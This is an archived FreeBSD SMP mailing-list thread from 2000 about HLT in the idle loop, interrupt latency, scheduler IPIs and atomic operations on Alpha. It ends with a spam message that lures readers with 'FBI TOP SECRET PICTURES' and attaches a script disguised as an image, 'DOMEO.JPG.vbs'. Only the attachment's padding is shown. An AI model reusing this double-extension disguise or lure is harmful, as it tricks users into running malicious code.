works, and keeps the CPU's a bit >> colder.. > > It works; it's just that the idle loop doesn't call it. > > The reason it doesn't call it is because the kernel is > holding the giant lock when it enters the scheduler, > and it's in the scheduler where the idle processing takes > place. > > Moving to actual kernel idle threads (HLT is a priviledged > instruction) could fix this. Err, no. This has nothing to do with Giant, zero, zilch, nada. Please do go read the code before making such claims. It has everything to do with making sure that you don't put a CPU to sleep when there is work for it to do, and to make sure you don't increase interrupt latency by having to unnecessarily use an IPI to wake up a sleeping CPU so it can run a thread that suddenly appears. One can try hacking the code to enable hlt if one really wants it (just change the #ifndef SMP to #ifndef SMP_XXX) but it will have a negative effect on interrupt responsiveness when at least one CPU is idle. > I think the real question is why, under normal operating > conditions, should overheating be a problem for you? I > suspect the answer, as someone else pointed out, is that > you are probably overclocking. If not, then you either > have marginal chips, or your heat sinks/fans are not > properly mounted or your heat conductive gel has gone bad. This part I agree with. :-) -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 2:52:52 2000 Delivered-To: freebsd-smp@freebsd.org Received: from smtp01.primenet.com (smtp01.primenet.com [206.165.6.131]) by hub.freebsd.org (Postfix) with ESMTP id 2F6E537B4CF; Wed, 1 Nov 2000 02:52:49 -0800 (PST) Received: (from daemon@localhost) by smtp01.primenet.com (8.9.3/8.9.3) id DAA24690; Wed, 1 Nov 2000 03:51:52 -0700 (MST) Received: from usr02.primenet.com(206.165.6.202) via SMTP by smtp01.primenet.com, id smtpdAAAEraOhW; Wed Nov 1 03:51:39 2000 Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id DAA00688; Wed, 1 Nov 2000 03:52:30 -0700 (MST) From: Terry Lambert Message-Id: <200011011052.DAA00688@usr02.primenet.com> Subject: Re: HLT To: jhb@FreeBSD.ORG (John Baldwin) Date: Wed, 1 Nov 2000 10:52:30 +0000 (GMT) Cc: tlambert@primenet.com (Terry Lambert), freebsd-smp@FreeBSD.ORG, drony@spray.se In-Reply-To: <200011010509.VAA44996@john.baldwin.cx> from "John Baldwin" at Oct 31, 2000 09:09:04 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Err, no. This has nothing to do with Giant, zero, zilch, nada. Please do go > read the code before making such claims. It has everything to do with making > sure that you don't put a CPU to sleep when there is work for it to do, and > to make sure you don't increase interrupt latency by having to unnecessarily > use an IPI to wake up a sleeping CPU so it can run a thread that suddenly > appears. One can try hacking the code to enable hlt if one really wants it > (just change the #ifndef SMP to #ifndef SMP_XXX) but it will have a negative > effect on interrupt responsiveness when at least one CPU is idle. I thought the issue was a missing IPI in the scheduler code, when something became ready to run, where you could have a halted CPU waiting for work, and an active CPU that originated the work via handling an interrupt, and failed to IPI the halted CPU like it should to tell it that there were ready-to-run processes? It seems to me that we are not talking about increased interrupt latency, unless the halted CPY holds the BGL. I was under the impression that the halted CPU would wake up from the I/O APIC IPI, should an interrupt occur, since that's sent to all CPUs, and the system currently operates in virtual wire mode. Please help me understand why there is interrupt latency, if not for the BGL being held during HLT on idle? Are you perhaps talking about a missed opportunity latency, where the I/O APIC signals all CPUs, one takes the interrupt, and the process which will become ready to run as a result of completed interrupt processing is not yet marked ready to run (presumably by wakeup/wakeone from the interrupt handler), so the idle processor goes back to sleep, just when it's about to have work it _could_ do? I think the problem is that there is no IPI when the task is put on the scheduler read-to-run; I guess I just always sort of assumed that the reason for that was the BGL, not lack of an IPI instruction. I still think the fix for this is to make the idle task a real task, with a HLT. Then you differentiate the APIC IPI (virtual wire, interrupts to handle) from the scheduler IPI (wake up, you have work to do). This really gets down to wanting per CPU scheduler queues, so that the scheduler IPI can be targetted, instead of broadcast. If the CPU never mixes interrupt processing with scheduler checking (which it wouldn't have to, without a global scheduler queue), then you could always know that another CPU was idle, without having to lock, since it would have zero runnable tasks on its task list (idle would always be runnable, so if it isn't there, it must be running, and therefore the CPU must be halted, so doing a read is safe; even if you have a miss, it's not fatal, the CPU merely gets [non-broadcast] IPI'ed twice). Since interrupts can be farmed out to multiple CPUs, you would still have to lock the CPU out while manipulating its task list out from under it, but you could do that pretty elegantly by having unscheduled global read to run queues, to use for migration, and kicking the CPU to go get its own tasks, so it wouldn't have to self-lock, it'd only acquire the global migration queue lock until it was done migrating. If you had 32 of these, you'd have exhausted the APIC ID space, and could have per CPU ones, with little or no contention. So I guess I need you to clarify where the latency is coming from: the laws of physics causing a latency to be required, or the design being defective. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 10:12:30 2000 Delivered-To: freebsd-smp@freebsd.org Received: from pike.osd.bsdi.com (pike.osd.bsdi.com [204.216.28.222]) by hub.freebsd.org (Postfix) with ESMTP id A9FA537B479 for ; Wed, 1 Nov 2000 10:12:27 -0800 (PST) Received: from laptop.baldwin.cx (john@dhcp241.osd.bsdi.com [204.216.28.241]) by pike.osd.bsdi.com (8.11.0/8.9.3) with ESMTP id eA1IBTf51237; Wed, 1 Nov 2000 10:11:33 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <200011011052.DAA00688@usr02.primenet.com> Date: Wed, 01 Nov 2000 10:12:33 -0800 (PST) From: John Baldwin To: Terry Lambert Subject: Re: HLT Cc: drony@spray.se, freebsd-smp@FreeBSD.org Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 01-Nov-00 Terry Lambert wrote: >> Err, no. This has nothing to do with Giant, zero, zilch, nada. Please do >> go >> read the code before making such claims. It has everything to do with >> making >> sure that you don't put a CPU to sleep when there is work for it to do, and >> to make sure you don't increase interrupt latency by having to unnecessarily >> use an IPI to wake up a sleeping CPU so it can run a thread that suddenly >> appears. One can try hacking the code to enable hlt if one really wants it >> (just change the #ifndef SMP to #ifndef SMP_XXX) but it will have a negative >> effect on interrupt responsiveness when at least one CPU is idle. > > I thought the issue was a missing IPI in the scheduler code, when > something became ready to run, where you could have a halted CPU > waiting for work, and an active CPU that originated the work via > handling an interrupt, and failed to IPI the halted CPU like it > should to tell it that there were ready-to-run processes? Yes. In the world of interrupt threads that we know have, delaying running the thread can result in delaying to run an interrupt handler, thus increasing interrupt latency. Granted, I'm more familiar with how we do this in SMPng at the moment, and that is the position I am talking from. We still need some sort of IPI to shoot a sleeping CPU to wake it up when there is work to do. > It seems to me that we are not talking about increased interrupt > latency, unless the halted CPY holds the BGL. > > I was under the impression that the halted CPU would wake up > from the I/O APIC IPI, should an interrupt occur, since that's > sent to all CPUs, and the system currently operates in virtual > wire mode. Hmm. I can't find in the code where we setup virtual wire mode, although I'm not an APIC whiz, but I do know that our interrupt, handling code assumes that only 1 CPU will get a given interrupt, but that interrupts may be handed out in a round-robin sort of fashion to different CPU's by the APIC. I have seen this happen in my kernel tracing during the SMPng stuff, and from the CPUs' perspective, only one gets an I/O interrupt. > Please help me understand why there is interrupt latency, if not > for the BGL being held during HLT on idle? In -current we don't hold Giant during idle. In -stable I believe you are correct though. > I think the problem is that there is no IPI when the task is > put on the scheduler read-to-run; I guess I just always sort of > assumed that the reason for that was the BGL, not lack of an > IPI instruction. In current the BGL is no longer a problem during the idle loop, so it might be possible to select a sleeping CPU and shoot it with a wakeup in setrunqueue(3). > I still think the fix for this is to make the idle task a real > task, with a HLT. Then you differentiate the APIC IPI (virtual > wire, interrupts to handle) from the scheduler IPI (wake up, you > have work to do). In -current we have per-CPU idle processes already. :) > This really gets down to wanting per CPU scheduler queues, so > that the scheduler IPI can be targetted, instead of broadcast. Perhaps, as long as you do your checking in setrunqueue() to wake a sleeping CPU while you are holding sched_lock (again, in the context of -current), then you can safely just use a bitmask of currently HLT'd CPU's and pick one to shoot right then and there. The sched_lock would keep two CPU's from trying to shoot the same CPU. > If the CPU never mixes interrupt processing with scheduler > checking (which it wouldn't have to, without a global scheduler > queue), then you could always know that another CPU was idle, > without having to lock, since it would have zero runnable tasks > on its task list (idle would always be runnable, so if it isn't > there, it must be running, and therefore the CPU must be halted, > so doing a read is safe; even if you have a miss, it's not fatal, > the CPU merely gets [non-broadcast] IPI'ed twice). We already don't put idle on the runqueue but just default to it in chooseproc() if nothing is runnable. One thing to note is that we already have the scheduler lock in setrunqueue() to protect the runqueue as well as p_stat, so we wouldn't be adding any extra locking to simply support a bitmask of sleeping CPU's. Once we can get a kernel that actually allows more than one CPU in it to do actual work, then time can be spent on optimizations such as this. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 10:39:59 2000 Delivered-To: freebsd-smp@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id EA8F037B4C5 for ; Wed, 1 Nov 2000 10:39:56 -0800 (PST) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id NAA596598; Wed, 1 Nov 2000 13:39:47 -0500 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <200010310548.WAA25053@usr02.primenet.com> References: <200010310548.WAA25053@usr02.primenet.com> Date: Wed, 1 Nov 2000 13:39:46 -0500 To: Terry Lambert , drony@spray.se From: Garance A Drosihn Subject: Re: HLT Cc: freebsd-smp@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 5:48 AM +0000 10/31/00, Terry Lambert wrote: >I think the real question is why, under normal operating >conditions, should overheating be a problem for you? While that is a good question, there's another question that comes to my mind. If my dual-processor system will have close-to-nothing to do all night while I'm out of the office, then why should I have both CPU's running at full-bore? What is the advantage of burning up the extra electricity and generating the extra heat, when there's going to be nothing to do for several hours? I agree that a person should not have to depend on HLT behavior to avoid overheating, but it would be nice if a basically-idle multi-processor machine would use less energy. -- --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 13:16:19 2000 Delivered-To: freebsd-smp@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-202-178-14.dsl.snfc21.pacbell.net [63.202.178.14]) by hub.freebsd.org (Postfix) with ESMTP id 613A837B479 for ; Wed, 1 Nov 2000 13:16:17 -0800 (PST) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.11.0/8.11.1) with ESMTP id eA1LJI433523; Wed, 1 Nov 2000 13:19:23 -0800 (PST) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200011012119.eA1LJI433523@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: Garance A Drosihn Cc: Terry Lambert , drony@spray.se, freebsd-smp@FreeBSD.ORG Subject: Re: HLT In-reply-to: Your message of "Wed, 01 Nov 2000 13:39:46 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 01 Nov 2000 13:19:18 -0800 From: Mike Smith Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > At 5:48 AM +0000 10/31/00, Terry Lambert wrote: > >I think the real question is why, under normal operating > >conditions, should overheating be a problem for you? > > While that is a good question, there's another question > that comes to my mind. If my dual-processor system will > have close-to-nothing to do all night while I'm out of > the office, then why should I have both CPU's running > at full-bore? What is the advantage of burning up the > extra electricity and generating the extra heat, when > there's going to be nothing to do for several hours? It's not that there's no advantage; until ACPI is working properly there is no *alternative*. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 14:49:16 2000 Delivered-To: freebsd-smp@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [206.165.6.135]) by hub.freebsd.org (Postfix) with ESMTP id 13AC837B4CF; Wed, 1 Nov 2000 14:49:14 -0800 (PST) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.3/8.9.3) id PAA12039; Wed, 1 Nov 2000 15:49:38 -0700 (MST) Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp05.primenet.com, id smtpdAAA2eayDx; Wed Nov 1 15:49:36 2000 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id PAA05692; Wed, 1 Nov 2000 15:49:02 -0700 (MST) From: Terry Lambert Message-Id: <200011012249.PAA05692@usr08.primenet.com> Subject: Re: HLT To: msmith@FreeBSD.ORG (Mike Smith) Date: Wed, 1 Nov 2000 22:48:56 +0000 (GMT) Cc: drosih@rpi.edu (Garance A Drosihn), tlambert@primenet.com (Terry Lambert), drony@spray.se, freebsd-smp@FreeBSD.ORG In-Reply-To: <200011012119.eA1LJI433523@mass.osd.bsdi.com> from "Mike Smith" at Nov 01, 2000 01:19:18 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > >I think the real question is why, under normal operating > > >conditions, should overheating be a problem for you? > > > > While that is a good question, there's another question > > that comes to my mind. If my dual-processor system will > > have close-to-nothing to do all night while I'm out of > > the office, then why should I have both CPU's running > > at full-bore? What is the advantage of burning up the > > extra electricity and generating the extra heat, when > > there's going to be nothing to do for several hours? > > It's not that there's no advantage; until ACPI is working properly there > is no *alternative*. Someone should educate people on: 1) The amount of energy it takes, in excess of what it takes for a normal appliance, to manufacture an "energy star" appliance. NB: It actually takes more additional energy to manufacture one, than is saved over the expected lifetime of the HW, but manufactures generally pay significantly less per KWH than you do, so front loading the payment for the extra electricity is a net economic win for consumers (even if it's a net economic loss for the environment). 2) Compared to what idle-looping CPUs consume, I guess not everyone is aware of what fans, electromechanical devices that they are, actually consume, either? It's only recently that we have multispeed fans, and fans that shut themselves down, based on input from the output of thermisters. NB: Compare the expected battery life on laptops that have comparable speed processors, where one implements with a heatsink, and the other implements with a fan. I know it's politically correct and all, but like plastic grocery bags that get recycled into bus benches vs. paper sacks which don't biodegrade (ever) in landfills for lack of exposure to sun, water, and air to feed the necessary aerobic organisms, false environmentalism is pretty rampant these days (assuming that it's false environmentalism, not false economy, which resulted in the statement about HLTed CPU vs. non-HLTed CPU power consumption). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 15:43:48 2000 Delivered-To: freebsd-smp@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id D1AE437B479; Wed, 1 Nov 2000 15:43:45 -0800 (PST) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id SAA237674; Wed, 1 Nov 2000 18:43:41 -0500 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <200011012249.PAA05692@usr08.primenet.com> References: <200011012249.PAA05692@usr08.primenet.com> Date: Wed, 1 Nov 2000 18:43:40 -0500 To: Terry Lambert , msmith@FreeBSD.ORG (Mike Smith) From: Garance A Drosihn Subject: Re: HLT Cc: tlambert@primenet.com (Terry Lambert), drony@spray.se, freebsd-smp@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:48 PM +0000 11/1/00, Terry Lambert wrote: > >Someone should educate people on: > >1) The amount of energy it takes, in excess of what it > takes for a normal appliance, to manufacture an > "energy star" appliance. > > NB: It actually takes more additional energy to > manufacture one, than is saved over the expected > lifetime of the HW, but manufactures generally pay > significantly less per KWH than you do, so front > loading the payment for the extra electricity is a > net economic win for consumers (even if it's a net > economic loss for the environment). I don't know the answer to the following question, but does that comparison take into account cooling costs? Particularly as one loads up a building with many computers, you realize you are also buying air conditioners to cool things back down. Just wondering.. I'm not pretending that better HLT use will save the planet, but it's definitely true that my office is warmer when I have some background process soaking up idle cycles than if I leave things idle. It's also true that RPI's cooling of the computer center has a few problems, particularly in the early spring and late fall. (when it's "too cool" to turn on the "big chillers", but still too warm for the number of computers we have in our offices). -- --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 15:52: 5 2000 Delivered-To: freebsd-smp@freebsd.org Received: from gtei2.bellatlantic.net (gtei2.bellatlantic.net [199.45.39.161]) by hub.freebsd.org (Postfix) with ESMTP id 9424C37B4C5 for ; Wed, 1 Nov 2000 15:51:59 -0800 (PST) Received: from seth-f1pgytg8r3 (client-64-223-145-91.bellatlantic.net [64.223.145.91]) by gtei2.bellatlantic.net (8.9.1/8.9.1) with SMTP id SAA21380 for ; Wed, 1 Nov 2000 18:51:32 -0500 (EST) Message-Id: <3.0.6.32.20001101185517.00c6def8@hobbiton.shire.net> X-Sender: seth-pc@hobbiton.shire.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 01 Nov 2000 18:55:17 -0800 To: freebsd-smp@FreeBSD.ORG From: Seth Leigh Subject: Re: HLT In-Reply-To: <200011012249.PAA05692@usr08.primenet.com> References: <200011012119.eA1LJI433523@mass.osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Someone write this down, so we don't forget. The environment *must* be one of Terry's hot buttons. Beware, lest you push it! Seth At 10:48 PM 11/1/2000 +0000, Terry Lambert wrote: >> > >I think the real question is why, under normal operating >> > >conditions, should overheating be a problem for you? >> > >> > While that is a good question, there's another question >> > that comes to my mind. If my dual-processor system will >> > have close-to-nothing to do all night while I'm out of >> > the office, then why should I have both CPU's running >> > at full-bore? What is the advantage of burning up the >> > extra electricity and generating the extra heat, when >> > there's going to be nothing to do for several hours? >> >> It's not that there's no advantage; until ACPI is working properly there >> is no *alternative*. > >Someone should educate people on: > >1) The amount of energy it takes, in excess of what it > takes for a normal appliance, to manufacture an > "energy star" appliance. > > NB: It actually takes more additional energy to > manufacture one, than is saved over the expected > lifetime of the HW, but manufactures generally pay > significantly less per KWH than you do, so front > loading the payment for the extra electricity is a > net economic win for consumers (even if it's a net > economic loss for the environment). > >2) Compared to what idle-looping CPUs consume, I guess > not everyone is aware of what fans, electromechanical > devices that they are, actually consume, either? It's > only recently that we have multispeed fans, and fans > that shut themselves down, based on input from the > output of thermisters. > > NB: Compare the expected battery life on laptops that > have comparable speed processors, where one implements > with a heatsink, and the other implements with a fan. > >I know it's politically correct and all, but like plastic >grocery bags that get recycled into bus benches vs. paper sacks >which don't biodegrade (ever) in landfills for lack of exposure >to sun, water, and air to feed the necessary aerobic organisms, >false environmentalism is pretty rampant these days (assuming >that it's false environmentalism, not false economy, which >resulted in the statement about HLTed CPU vs. non-HLTed CPU >power consumption). > > > Terry Lambert > terry@lambert.org >--- >Any opinions in this posting are my own and not those of my present >or previous employers. > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-smp" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 15:57:38 2000 Delivered-To: freebsd-smp@freebsd.org Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by hub.freebsd.org (Postfix) with ESMTP id 92F5837B4CF; Wed, 1 Nov 2000 15:57:33 -0800 (PST) Received: from nlsys.demon.co.uk ([158.152.125.33] helo=herring.nlsystems.com) by anchor-post-31.mail.demon.net with esmtp (Exim 2.12 #1) id 13r7l5-000CkN-0V; Wed, 1 Nov 2000 23:57:31 +0000 Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3]) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id AAA93646; Thu, 2 Nov 2000 00:03:42 GMT (envelope-from dfr@nlsystems.com) Date: Thu, 2 Nov 2000 00:03:42 +0000 (GMT) From: Doug Rabson To: Robert Watson Cc: freebsd-smp@freebsd.org Subject: Re: Reference count invariants in a fine-grained threaded environment In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 31 Oct 2000, Robert Watson wrote: > On Tue, 31 Oct 2000, Robert Watson wrote: > > > Speaking of this issue: in a shared struct where some fields are constant > > and others are not, false sharing can be a problem. I.e., if the memory > > architecture defines locked memory access over a memory line that's 8 > > bytes, but the compiler places two 32-bit variables in that line, with one > > protected by a mutex and the other not. What should we assume for all > > supported architectures, or is it better to cover the entire structure > > with a mutex (in which case, must it be the same mutex as the reference > > count in the object, given that the reference count and another variable > > might be covered by the same locked operation?) > > So, just to put this concern into a little context: some older Alpha chips > don't allow dereferencing pointers at char-level granularity, requiring a > minimum retrieval size of (I forget exactly, but would guess 64 bits). 32 bits. > If > multiple char variables in a struct are packed adjacently, then read-write > on these variables is non-atomic, It can still be atomic (we have 16 and 8 bit variants of all the atomic ops). Its a bit slower though and its based on atomic access to the surrounding qword so it can't work for memory mapped devices. > and if two mutexes are used > independently to protect two packed chars, then you still have races. > Presumably solutions involve having the compiler not do that (no idea what > it does by default -- probably packs for arrays, which are a seperate > issue by themselves), either by default or by using qualifiers on > variables in the struct, or requiring a single mutex to protect them all. > All of these problems are solvable, we just need to have the solution > defined somewhere (don't do that, compiler magic is safe to rely on, don't > use multiple mutexes to protect one struct, or explicit compiler magic is > required (volatile)). The best solution is use 32 or 64 bits for performance. Smaller types are usable but cost a bit more. -- Doug Rabson Mail: dfr@nlsystems.com Phone: +44 20 8348 6160 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 16: 5:35 2000 Delivered-To: freebsd-smp@freebsd.org Received: from smtp01.primenet.com (smtp01.primenet.com [206.165.6.131]) by hub.freebsd.org (Postfix) with ESMTP id A1BD337B4D7 for ; Wed, 1 Nov 2000 16:05:31 -0800 (PST) Received: (from daemon@localhost) by smtp01.primenet.com (8.9.3/8.9.3) id RAA02495; Wed, 1 Nov 2000 17:04:33 -0700 (MST) Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp01.primenet.com, id smtpdAAAsraGSe; Wed Nov 1 17:04:18 2000 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id RAA09507; Wed, 1 Nov 2000 17:05:10 -0700 (MST) From: Terry Lambert Message-Id: <200011020005.RAA09507@usr08.primenet.com> Subject: Re: HLT To: seth@pengar.com (Seth Leigh) Date: Thu, 2 Nov 2000 00:05:10 +0000 (GMT) Cc: freebsd-smp@FreeBSD.ORG In-Reply-To: <3.0.6.32.20001101185517.00c6def8@hobbiton.shire.net> from "Seth Leigh" at Nov 01, 2000 06:55:17 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Someone write this down, so we don't forget. > > The environment *must* be one of Terry's hot buttons. > > Beware, lest you push it! No, my hot button is people claiming something is true "because everyone knows it", instead of because they know it themselves. The rest of my response redirected to -chat, as not being relevent. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 16:32:28 2000 Delivered-To: freebsd-smp@freebsd.org Received: from smtp02.primenet.com (smtp02.primenet.com [206.165.6.132]) by hub.freebsd.org (Postfix) with ESMTP id 4F64637B933; Wed, 1 Nov 2000 16:32:26 -0800 (PST) Received: (from daemon@localhost) by smtp02.primenet.com (8.9.3/8.9.3) id RAA06388; Wed, 1 Nov 2000 17:28:40 -0700 (MST) Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp02.primenet.com, id smtpdAAAy2ayxm; Wed Nov 1 17:28:26 2000 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id RAA10413; Wed, 1 Nov 2000 17:32:05 -0700 (MST) From: Terry Lambert Message-Id: <200011020032.RAA10413@usr08.primenet.com> Subject: Re: HLT To: drosih@rpi.edu (Garance A Drosihn) Date: Thu, 2 Nov 2000 00:32:05 +0000 (GMT) Cc: tlambert@primenet.com (Terry Lambert), msmith@FreeBSD.ORG (Mike Smith), drony@spray.se, freebsd-smp@FreeBSD.ORG In-Reply-To: from "Garance A Drosihn" at Nov 01, 2000 06:43:40 PM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I don't know the answer to the following question, but does > that comparison take into account cooling costs? Particularly > as one loads up a building with many computers, you realize > you are also buying air conditioners to cool things back down. What are the comparative costs for cooling a factory making the equipment at a higher energy expenditure? If the electricty goes in one end, the heat has to come out somewhere. More energy in = more energy out. I guess there might be a slight skew, since most people aren't dumb enough to try to overclock a factory. 8-). -- a tangent, ignoring the concept of net energy expenditure -- Maybe we would all generate less waste heat if we performed useful computations, since energy not converted into work gets converted into waste heat. So if we all worked on the big important problems, then we would generate no waste heat at all. Heck, we could even hook up a temperature sensor to a CPU, and then run sample problems through it. This would let us know how relatively important the universe thinks solving a particular problem is, since the more important the problem, the less of our energy would come out as waste heat, instead of work. I suspect the universe is worried about its own eventual heat death, since anecdotally, it seems to favor HLT. I think this is backed up by the fact that it would like time to go as slow as possible, to delay this unhappy event, since it also seems, by way of the amount of heat generated, to look with stern disfavor people overclocking their CPU to make the time needed to do computations go by faster. As more anedotal evidence, I offer that my normal body temperature is somewhat depressed from the average, so I must be doing something right. I guess doing transitive closure on all this means that if you find yourself becoming uncomfortably hot, you should kill someone who is overclocking their computer, and the universe may reward you by lowering your body temperature, while the people around you sweat themselves to death... something to remember for next summer. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-smp" in the body of the message From owner-freebsd-smp Wed Nov 1 23:42:41 2000 Delivered-To: freebsd-smp@freebsd.org Received: from sunsite.aubi.de (mail.aubi-online.de [62.159.82.131]) by hub.freebsd.org (Postfix) with ESMTP id 145C737B667; Wed, 1 Nov 2000 23:38:37 -0800 (PST) Received: from exchangeb.aubi.de (exchangeb.aubi.de [170.56.121.7]) by sunsite.aubi.de (8.9.3+Sun/8.9.3) with ESMTP id JAA23047; Thu, 2 Nov 2000 09:38:36 +0200 (GMT) Received: by exchangeb.aubi.de with Internet Mail Service (5.5.2650.21) id ; Thu, 2 Nov 2000 09:34:52 -0000 Message-ID: <7B1EED0C5D58D411B73200508BDE77B204DD1E@exchangeb.aubi.de> From: Peter Wagner To: FreeBSD List Subject: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.CO M)<= Date: Thu, 2 Nov 2000 09:34:51 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C044B0.26710D90" Sender: owner-freebsd-smp@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C044B0.26710D90 Content-Type: text/plain VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES.. ------_=_NextPart_000_01C044B0.26710D90 Content-Type: application/octet-stream; name="DOMEO.JPG.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="DOMEO.JPG.vbs" rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 